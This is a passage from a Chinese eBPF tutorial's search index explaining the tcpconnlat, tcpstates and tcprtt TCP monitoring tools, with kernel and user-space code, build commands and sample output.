sizeof(event.comm)); event.ts_us = ts / 1000; event.tgid = piddatap->tgid; event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); event.af = BPF_CORE_READ(sk, __sk_common.skc_family); if (event.af == AF_INET) { event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); } else { BPF_CORE_READ_INTO(&event.saddr_v6, sk, __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); BPF_CORE_READ_INTO(&event.daddr_v6, sk, __sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); cleanup: bpf_map_delete_elem(&start, &sk); return 0;\n} SEC(\"kprobe/tcp_v4_connect\")\nint BPF_KPROBE(tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_v6_connect\")\nint BPF_KPROBE(tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_rcv_state_process\")\nint BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} SEC(\"fentry/tcp_v4_connect\")\nint BPF_PROG(fentry_tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"fentry/tcp_v6_connect\")\nint BPF_PROG(fentry_tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"fentry/tcp_rcv_state_process\")\nint BPF_PROG(fentry_tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这个eBPF（Extended Berkeley Packet Filter）程序主要用来监控并收集TCP连接的建立时间，即从发起TCP连接请求(connect系统调用)到连接建立完成(SYN-ACK握手过程完成)的时间间隔。这对于监测网络延迟、服务性能分析等方面非常有用。 首先，定义了两个eBPF maps：start和events。start是一个哈希表，用于存储发起连接请求的进程信息和时间戳，而events是一个PERF_EVENT_ARRAY类型的map，用于将事件数据传输到用户态。 struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 4096); __type(key, struct sock *); __type(value, struct piddata);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); 在tcp_v4_connect和tcp_v6_connect的kprobe处理函数trace_connect中，会记录下发起连接请求的进程信息（进程名、进程ID和当前时间戳），并以socket结构作为key，存储到start这个map中。 static int trace_connect(struct sock *sk)\n{ u32 tgid = bpf_get_current_pid_tgid() >> 32; struct piddata piddata = {}; if (targ_tgid && targ_tgid != tgid) return 0; bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); piddata.ts = bpf_ktime_get_ns(); piddata.tgid = tgid; bpf_map_update_elem(&start, &sk, &piddata, 0); return 0;\n} 当TCP状态机处理到SYN-ACK包，即连接建立的时候，会触发tcp_rcv_state_process的kprobe处理函数handle_tcp_rcv_state_process。在这个函数中，首先检查socket的状态是否为SYN-SENT，如果是，会从start这个map中查找socket对应的进程信息。然后计算出从发起连接到现在的时间间隔，将该时间间隔，进程信息，以及TCP连接的详细信息（源端口，目标端口，源IP，目标IP等）作为event，通过bpf_perf_event_output函数发送到用户态。 static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)\n{ struct piddata *piddatap; struct event event = {}; s64 delta; u64 ts; if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) return 0; piddatap = bpf_map_lookup_elem(&start, &sk); if (!piddatap) return 0; ts = bpf_ktime_get_ns(); delta = (s64)(ts - piddatap->ts); if (delta < 0) goto cleanup; event.delta_us = delta / 1000U; if (targ_min_us && event.delta_us < targ_min_us) goto cleanup; __builtin_memcpy(&event.comm, piddatap->comm, sizeof(event.comm)); event.ts_us = ts / 1000; event.tgid = piddatap->tgid; event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); event.af = BPF_CORE_READ(sk, __sk_common.skc_family); if (event.af == AF_INET) { event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); } else { BPF_CORE_READ_INTO(&event.saddr_v6, sk, __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); BPF_CORE_READ_INTO(&event.daddr_v6, sk, __sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); cleanup: bpf_map_delete_elem(&start, &sk); return 0;\n} 理解这个程序的关键在于理解Linux内核的网络栈处理流程，以及eBPF程序的运行模式。Linux内核网络栈对TCP连接建立的处理过程是，首先调用tcp_v4_connect或tcp_v6_connect函数（根据IP版本不同）发起TCP连接，然后在收到SYN-ACK包时，通过tcp_rcv_state_process函数来处理。eBPF程序通过在这两个关键函数上设置kprobe，可以在关键时刻得到通知并执行相应的处理代码。 一些关键概念说明： kprobe：Kernel Probe，是Linux内核中用于动态追踪内核行为的机制。可以在内核函数的入口和退出处设置断点，当断点被触发时，会执行与kprobe关联的eBPF程序。 map：是eBPF程序中的一种数据结构，用于在内核态和用户态之间共享数据。 socket：在Linux网络编程中，socket是一个抽象概念，表示一个网络连接的端点。内核中的struct sock结构就是对socket的实现。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 内核态代码","id":"78","title":"内核态代码"},"79":{"body":"用户态数据处理是使用perf_buffer__poll来接收并处理从内核发送到用户态的eBPF事件。perf_buffer__poll是libbpf库提供的一个便捷函数，用于轮询perf event buffer并处理接收到的数据。 首先，让我们详细看一下主轮询循环： /* main: poll */ while (!exiting) { err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); if (err < 0 && err != -EINTR) { fprintf(stderr, \"error polling perf buffer: %s\\n\", strerror(-err)); goto cleanup; } /* reset err to return 0 if exiting */ err = 0; } 这段代码使用一个while循环来反复轮询perf event buffer。如果轮询出错（例如由于信号中断），会打印出错误消息。这个轮询过程会一直持续，直到收到一个退出标志exiting。 接下来，让我们来看看handle_event函数，这个函数将处理从内核发送到用户态的每一个eBPF事件： void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { const struct event* e = data; char src[INET6_ADDRSTRLEN]; char dst[INET6_ADDRSTRLEN]; union { struct in_addr x4; struct in6_addr x6; } s, d; static __u64 start_ts; if (env.timestamp) { if (start_ts == 0) start_ts = e->ts_us; printf(\"%-9.3f \", (e->ts_us - start_ts) / 1000000.0); } if (e->af == AF_INET) { s.x4.s_addr = e->saddr_v4; d.x4.s_addr = e->daddr_v4; } else if (e->af == AF_INET6) { memcpy(&s.x6.s6_addr, e->saddr_v6, sizeof(s.x6.s6_addr)); memcpy(&d.x6.s6_addr, e->daddr_v6, sizeof(d.x6.s6_addr)); } else { fprintf(stderr, \"broken event: event->af=%d\", e->af); return; } if (env.lport) { printf(\"%-6d %-12.12s %-2d %-16s %-6d %-16s %-5d %.2f\\n\", e->tgid, e->comm, e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)), e->lport, inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), e->delta_us / 1000.0); } else { printf(\"%-6d %-12.12s %-2d %-16s %-16s %-5d %.2f\\n\", e->tgid, e->comm, e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)), inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), e->delta_us / 1000.0); }\n} handle_event函数的参数包括了CPU编号、指向数据的指针以及数据的大小。数据是一个event结构体，包含了之前在内核态计算得到的TCP连接的信息。 首先，它将接收到的事件的时间戳和起始时间戳（如果存在）进行对比，计算出事件的相对时间，并打印出来。接着，根据IP地址的类型（IPv4或IPv6），将源地址和目标地址从网络字节序转换为主机字节序。 最后，根据用户是否选择了显示本地端口，将进程ID、进程名称、IP版本、源IP地址、本地端口（如果有）、目标IP地址、目标端口以及连接建立时间打印出来。这个连接建立时间是我们在内核态eBPF程序中计算并发送到用户态的。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 用户态数据处理","id":"79","title":"用户态数据处理"},"8":{"body":"BCC全称为BPF Compiler Collection，该项目是一个python库， 包含了完整的编写、编译、和加载BPF程序的工具链，以及用于调试和诊断性能问题的工具。 自2015年发布以来，BCC经过上百位贡献者地不断完善后，目前已经包含了大量随时可用的跟踪工具。 其官方项目库 提供了一个方便上手的教程，用户可以快速地根据教程完成BCC入门工作。 用户可以在BCC上使用Python、Lua等高级语言进行编程。 相较于使用C语言直接编程，这些高级语言具有极大的便捷性，用户只需要使用C来设计内核中的 BPF程序，其余包括编译、解析、加载等工作在内，均可由BCC完成。 然而使用BCC存在一个缺点便是在于其兼容性并不好。基于BCC的 eBPF程序每次执行时候都需要进行编译，编译则需要用户配置相关的头文件和对应实现。在实际应用中， 相信大家也会有体会，编译依赖问题是一个很棘手的问题。也正是因此，在本项目的开发中我们放弃了BCC， 选择了可以做到一次编译-多次运行的libbpf-bootstrap工具。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » BCC","id":"8","title":"BCC"},"80":{"body":"$ make\n... BPF .output/tcpconnlat.bpf.o GEN-SKEL .output/tcpconnlat.skel.h CC .output/tcpconnlat.o BINARY tcpconnlat\n$ sudo ./tcpconnlat PID COMM IP SADDR DADDR DPORT LAT(ms)\n222564 wget 4 192.168.88.15 110.242.68.3 80 25.29\n222684 wget 4 192.168.88.15 167.179.101.42 443 246.76\n222726 ssh 4 192.168.88.15 167.179.101.42 22 241.17\n222774 ssh 4 192.168.88.15 1.15.149.151 22 25.31 源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/13-tcpconnlat 参考资料： tcpconnlat","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 编译运行","id":"80","title":"编译运行"},"81":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用 eBPF 来跟踪和统计 TCP 连接建立的延时。我们首先深入探讨了 eBPF 程序如何在内核态监听特定的内核函数，然后通过捕获这些函数的调用，从而得到连接建立的起始时间和结束时间，计算出延时。 我们还进一步了解了如何使用 BPF maps 来在内核态存储和查询数据，从而在 eBPF 程序的多个部分之间共享数据。同时，我们也探讨了如何使用 perf events 来将数据从内核态发送到用户态，以便进一步处理和展示。 在用户态，我们介绍了如何使用 libbpf 库的 API，例如 perf_buffer__poll，来接收和处理内核态发送过来的数据。我们还讲解了如何对这些数据进行解析和打印，使得它们能以人类可读的形式显示出来。 如果您希望学习更多关于 eBPF 的知识和实践，请查阅 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。 接下来的教程将进一步探讨 eBPF 的高级特性，例如如何使用 eBPF 来追踪网络包的传输路径，如何利用 eBPF 对系统的性能进行细粒度的监控等等。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术，希望这些内容对您在 eBPF 开发道路上的学习和实践有所帮助。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 总结","id":"81","title":"总结"},"82":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 在我们的 eBPF 入门实践教程系列的这一篇，我们将介绍两个示例程序：tcpstates 和 tcprtt。tcpstates 用于记录 TCP 连接的状态变化，而 tcprtt 则用于记录 TCP 的往返时间 (RTT, Round-Trip Time)。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » eBPF入门实践教程十四：记录 TCP 连接状态与 TCP RTT","id":"82","title":"eBPF入门实践教程十四：记录 TCP 连接状态与 TCP RTT"},"83":{"body":"网络质量在当前的互联网环境中至关重要。影响网络质量的因素有许多，包括硬件、网络环境、软件编程的质量等。为了帮助用户更好地定位网络问题，我们引入了 tcprtt 这个工具。tcprtt 可以监控 TCP 链接的往返时间，从而评估网络质量，帮助用户找出可能的问题所在。 当 TCP 链接建立时，tcprtt 会自动根据当前系统的状况，选择合适的执行函数。在执行函数中，tcprtt 会收集 TCP 链接的各项基本信息，如源地址、目标地址、源端口、目标端口、耗时等，并将这些信息更新到直方图型的 BPF map 中。运行结束后，tcprtt 会通过用户态代码，将收集的信息以图形化的方式展示给用户。 tcpstates 则是一个专门用来追踪和打印 TCP 连接状态变化的工具。它可以显示 TCP 连接在每个状态中的停留时长，单位为毫秒。例如，对于一个单独的 TCP 会话，tcpstates 可以打印出类似以下的输出： SKADDR C-PID C-COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS\nffff9fd7e8192000 22384 curl 100.66.100.185 0 52.33.159.26 80 CLOSE -> SYN_SENT 0.000\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 SYN_SENT -> ESTABLISHED 1.373\nffff9fd7e8192000 22384 curl 100.66.100.185 63446 52.33.159.26 80 ESTABLISHED -> FIN_WAIT1 176.042\nffff9fd7e819 2000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT1 -> FIN_WAIT2 0.536\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT2 -> CLOSE 0.006 以上输出中，最多的时间被花在了 ESTABLISHED 状态，也就是连接已经建立并在传输数据的状态，这个状态到 FIN_WAIT1 状态（开始关闭连接的状态）的转变过程中耗费了 176.042 毫秒。 在我们接下来的教程中，我们会更深入地探讨这两个工具，解释它们的实现原理，希望这些内容对你在使用 eBPF 进行网络和性能分析方面的工作有所帮助。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcprtt 与 tcpstates","id":"83","title":"tcprtt 与 tcpstates"},"84":{"body":"由于篇幅所限，这里我们主要讨论和分析对应的 eBPF 内核态代码实现。以下是 tcpstate 的 eBPF 代码： const volatile bool filter_by_sport = false;\nconst volatile bool filter_by_dport = false;\nconst volatile short target_family = 0; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u16); __type(value, __u16);\n} sports SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u16); __type(value, __u16);\n} dports SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, struct sock *); __type(value, __u64);\n} timestamps SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(__u32)); __uint(value_size, sizeof(__u32));\n} events SEC(\".maps\"); SEC(\"tracepoint/sock/inet_sock_set_state\")\nint handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx)\n{ struct sock *sk = (struct sock *)ctx->skaddr; __u16 family = ctx->family; __u16 sport = ctx->sport; __u16 dport = ctx->dport; __u64 *tsp, delta_us, ts; struct event event = {}; if (ctx->protocol != IPPROTO_TCP) return 0; if (target_family && target_family != family) return 0; if (filter_by_sport && !bpf_map_lookup_elem(&sports, &sport)) return 0; if (filter_by_dport && !bpf_map_lookup_elem(&dports, &dport)) return 0; tsp = bpf_map_lookup_elem(&timestamps, &sk); ts = bpf_ktime_get_ns(); if (!tsp) delta_us = 0; else delta_us = (ts - *tsp) / 1000; event.skaddr = (__u64)sk; event.ts_us = ts / 1000; event.delta_us = delta_us; event.pid = bpf_get_current_pid_tgid() >> 32; event.oldstate = ctx->oldstate; event.newstate = ctx->newstate; event.family = family; event.sport = sport; event.dport = dport; bpf_get_current_comm(&event.task, sizeof(event.task)); if (family == AF_INET) { bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_rcv_saddr); bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_daddr); } else { /* family == AF_INET6 */ bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); if (ctx->newstate == TCP_CLOSE) bpf_map_delete_elem(&timestamps, &sk); else bpf_map_update_elem(&timestamps, &sk, &ts, BPF_ANY); return 0;\n} tcpstates主要依赖于 eBPF 的 Tracepoints 来捕获 TCP 连接的状态变化，从而跟踪 TCP 连接在每个状态下的停留时间。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcpstate","id":"84","title":"tcpstate"},"85":{"body":"在tcpstates程序中，首先定义了几个 BPF Maps，它们是 eBPF 程序和用户态程序之间交互的主要方式。sports和dports分别用于存储源端口和目标端口，用于过滤 TCP 连接；timestamps用于存储每个 TCP 连接的时间戳，以计算每个状态的停留时间；events则是一个 perf_event 类型的 map，用于将事件数据发送到用户态。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 定义 BPF Maps","id":"85","title":"定义 BPF Maps"},"86":{"body":"程序定义了一个名为handle_set_state的函数，该函数是一个 tracepoint 类型的程序，它将被挂载到sock/inet_sock_set_state这个内核 tracepoint 上。每当 TCP 连接状态发生变化时，这个 tracepoint 就会被触发，然后执行handle_set_state函数。 在handle_set_state函数中，首先通过一系列条件判断确定是否需要处理当前的 TCP 连接，然后从timestampsmap 中获取当前连接的上一个时间戳，然后计算出停留在当前状态的时间。接着，程序将收集到的数据放入一个 event 结构体中，并通过bpf_perf_event_output函数将该 event 发送到用户态。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 追踪 TCP 连接状态变化","id":"86","title":"追踪 TCP 连接状态变化"},"87":{"body":"最后，根据 TCP 连接的新状态，程序将进行不同的操作：如果新状态为 TCP_CLOSE，表示连接已关闭，程序将从timestampsmap 中删除该连接的时间戳；否则，程序将更新该连接的时间戳。 用户态的部分主要是通过 libbpf 来加载 eBPF 程序，然后通过 perf_event 来接收内核中的事件数据： static void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { char ts[32], saddr[26], daddr[26]; struct event* e = data; struct tm* tm; int family; time_t t; if (emit_timestamp) { time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); printf(\"%8s \", ts); } inet_ntop(e->family, &e->saddr, saddr, sizeof(saddr)); inet_ntop(e->family, &e->daddr, daddr, sizeof(daddr)); if (wide_output) { family = e->family == AF_INET ? 4 : 6; printf( \"%-16llx %-7d %-16s %-2d %-26s %-5d %-26s %-5d %-11s -> %-11s \" \"%.3f\\n\", e->skaddr, e->pid, e->task, family, saddr, e->sport, daddr, e->dport, tcp_states[e->oldstate], tcp_states[e->newstate], (double)e->delta_us / 1000); } else { printf( \"%-16llx %-7d %-10.10s %-15s %-5d %-15s %-5d %-11s -> %-11s %.3f\\n\", e->skaddr, e->pid, e->task, saddr, e->sport, daddr, e->dport, tcp_states[e->oldstate], tcp_states[e->newstate], (double)e->delta_us / 1000); }\n} handle_event就是这样一个回调函数，它会被 perf_event 调用，每当内核有新的事件到达时，它就会处理这些事件。 在handle_event函数中，我们首先通过inet_ntop函数将二进制的 IP 地址转换成人类可读的格式，然后根据是否需要输出宽格式，分别打印不同的信息。这些信息包括了事件的时间戳、源 IP 地址、源端口、目标 IP 地址、目标端口、旧状态、新状态以及在旧状态停留的时间。 这样，用户就可以清晰地看到 TCP 连接状态的变化，以及每个状态的停留时间，从而帮助他们诊断网络问题。 总结起来，用户态部分的处理主要涉及到了以下几个步骤： 使用 libbpf 加载并运行 eBPF 程序。 设置回调函数来接收内核发送的事件。 处理接收到的事件，将其转换成人类可读的格式并打印。 以上就是tcpstates程序用户态部分的主要实现逻辑。通过这一章的学习，你应该已经对如何在用户态处理内核事件有了更深入的理解。在下一章中，我们将介绍更多关于如何使用 eBPF 进行网络监控的知识。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 更新时间戳","id":"87","title":"更新时间戳"},"88":{"body":"在本章节中，我们将分析tcprtt eBPF 程序的内核态代码。tcprtt是一个用于测量 TCP 往返时间(Round Trip Time, RTT)的程序，它将 RTT 的信息统计到一个 histogram 中。 /// @sample {\"interval\": 1000, \"type\" : \"log2_hist\"}\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u64); __type(value, struct hist);\n} hists SEC(\".maps\"); static struct hist zero; SEC(\"fentry/tcp_rcv_established\")\nint BPF_PROG(tcp_rcv, struct sock *sk)\n{ const struct inet_sock *inet = (struct inet_sock *)(sk); struct tcp_sock *ts; struct hist *histp; u64 key, slot; u32 srtt; if (targ_sport && targ_sport != inet->inet_sport) return 0; if (targ_dport && targ_dport != sk->__sk_common.skc_dport) return 0; if (targ_saddr && targ_saddr != inet->inet_saddr) return 0; if (targ_daddr && targ_daddr != sk->__sk_common.skc_daddr) return 0; if (targ_laddr_hist) key = inet->inet_saddr; else if (targ_raddr_hist) key = inet->sk.__sk_common.skc_daddr; else key = 0; histp = bpf_map_lookup_or_try_init(&hists, &key, &zero); if (!histp) return 0; ts = (struct tcp_sock *)(sk); srtt = BPF_CORE_READ(ts, srtt_us) >> 3; if (targ_ms) srtt /= 1000U; slot = log2l(srtt); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; __sync_fetch_and_add(&histp->slots[slot], 1); if (targ_show_ext) { __sync_fetch_and_add(&histp->latency, srtt); __sync_fetch_and_add(&histp->cnt, 1); } return 0;\n} 首先，我们定义了一个 hash 类型的 eBPF map，名为hists，它用来存储 RTT 的统计信息。在这个 map 中，键是 64 位整数，值是一个hist结构，这个结构包含了一个数组，用来存储不同 RTT 区间的数量。 接着，我们定义了一个 eBPF 程序，名为tcp_rcv，这个程序会在每次内核中处理 TCP 收包的时候被调用。在这个程序中，我们首先根据过滤条件（源/目标 IP 地址和端口）对 TCP 连接进行过滤。如果满足条件，我们会根据设置的参数选择相应的 key（源 IP 或者目标 IP 或者 0），然后在hists map 中查找或者初始化对应的 histogram。 接下来，我们读取 TCP 连接的srtt_us字段，这个字段表示了平滑的 RTT 值，单位是微秒。然后我们将这个 RTT 值转换为对数形式，并将其作为 slot 存储到 histogram 中。 如果设置了show_ext参数，我们还会将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。 通过以上的处理，我们可以对每个 TCP 连接的 RTT 进行统计和分析，从而更好地理解网络的性能状况。 总结起来，tcprtt eBPF 程序的主要逻辑包括以下几个步骤： 根据过滤条件对 TCP 连接进行过滤。 在hists map 中查找或者初始化对应的 histogram。 读取 TCP 连接的srtt_us字段，并将其转换为对数形式，存储到 histogram 中。 如果设置了show_ext参数，将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。 tcprtt 挂载到了内核态的 tcp_rcv_established 函数上： void tcp_rcv_established(struct sock *sk, struct sk_buff *skb); 这个函数是在内核中处理TCP接收数据的主要函数，主要在TCP连接处于ESTABLISHED状态时被调用。这个函数的处理逻辑包括一个快速路径和一个慢速路径。快速路径在以下几种情况下会被禁用： 我们宣布了一个零窗口 - 零窗口探测只能在慢速路径中正确处理。 收到了乱序的数据包。 期待接收紧急数据。 没有剩余的缓冲区空间。 接收到了意外的TCP标志/窗口值/头部长度（通过检查TCP头部与预设标志进行检测）。 数据在两个方向上都在传输。快速路径只支持纯发送者或纯接收者（这意味着序列号或确认值必须保持不变）。 接收到了意外的TCP选项。 当这些条件不满足时，它会进入一个标准的接收处理过程，这个过程遵循RFC793来处理所有情况。前三种情况可以通过正确的预设标志设置来保证，剩下的情况则需要内联检查。当一切都正常时，快速处理过程会在tcp_data_queue函数中被开启。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcprtt","id":"88","title":"tcprtt"},"89":{"body":"对于 tcpstates，可以通过以下命令编译和运行 libbpf 应用： $ make\n... BPF .output/tcpstates.bpf.o GEN-SKEL .output/tcpstates.skel.h CC .output/tcpstates.o BINARY tcpstates\n$ sudo ./tcpstates SKADDR PID COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS\nffff9bf61bb62bc0 164978 node 192.168.88.15 0 52.178.17.2 443 CLOSE -> SYN_SENT 0.000\nffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 SYN_SENT -> ESTABLISHED 225.794\nffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 ESTABLISHED -> CLOSE_WAIT 901.454\nffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 CLOSE_WAIT -> LAST_ACK 0.793\nffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> LAST_ACK 0.086\nffff9bf61bb62bc0 228759 kworker/u6 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> CLOSE 0.193\nffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 CLOSE -> LISTEN 0.000\nffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 LISTEN -> CLOSE 1.763\nffff9bf7109d6900 88750 node 127.0.0.1 39755 127.0.0.1 50966 ESTABLISHED -> FIN_WAIT1 0.000 对于 tcprtt，我们可以使用 eunomia-bpf 编译运行这个例子： Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc runqlat.bpf.c runqlat.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... 运行： $ sudo ecli run package.json -h\nA simple eBPF program Usage: package.json [OPTIONS] Options: --verbose Whether to show libbpf debug information --targ_laddr_hist Set value of `bool` variable targ_laddr_hist --targ_raddr_hist Set value of `bool` variable targ_raddr_hist --targ_show_ext Set value of `bool` variable targ_show_ext --targ_sport <targ_sport> Set value of `__u16` variable targ_sport --targ_dport <targ_dport> Set value of `__u16` variable targ_dport --targ_saddr <targ_saddr> Set value of `__u32` variable targ_saddr --targ_daddr <targ_daddr> Set value of `__u32` variable targ_daddr --targ_ms Set value of `bool` variable targ_ms -h, --help Print help -V, --version Print version Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. $ sudo ecli run package.json\nkey = 0\nlatency = 0\ncnt = 0 (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 0 | | 512 -> 1023 : 4 |******************** | 1024 -> 2047 : 1 |***** | 2048 -> 4095 : 0 | | 4096 -> 8191 : 8 |****************************************| key = 0\nlatency = 0\ncnt = 0 (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 0 | | 512 -> 1023 : 11 |*************************** | 1024 -> 2047 : 1 |** | 2048 -> 4095 : 0 | | 4096 -> 8191 : 16 |****************************************| 8192 -> 16383 : 4 |********** | 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/14-tcpstates 参考资料： tcpstates tcprtt libbpf-tools/tcpstates","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 编译运行","id":"89","title":"编译运行"},"9":{"body":"eBPF Go库提供了一个通用的eBPF库，它解耦了获取 eBPF 字节码的过程和 eBPF 程序的加载和管理，并实现了类似 libbpf 一样的 CO- 功能。eBPF程序通常是通过编写高级语言创建的，然后使用clang/LLVM编译器编译为eBPF字节码。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF Go library","id":"9","title":"eBPF Go library"},"90":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用tcpstates和tcprtt这两个 eBPF 示例程序，监控和分析 TCP 的连接状态和往返时间。我们了解了tcpstates和tcprtt的工作原理和实现方式，包括如何使用 BPF map 存储数据，如何在 eBPF 程序中获取和处理 TCP 连接信息，以及如何在用户态应用程序中解析和显示 eBPF 程序收集的数据。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 总结","id":"90","title":"总结"},"91":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能，使其在网络和系统性能分析方面具有广泛的应用。此外，eBPF 还支持使用 USDT (用户级静态定义跟踪点) 捕获用户态的应用程序行为。 在我们的 eBPF 入门实践教程系列的这一篇，我们将介绍如何使用 eBPF 和 USDT 来捕获和分析 Java 的垃圾回收 (GC) 事件的耗时。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 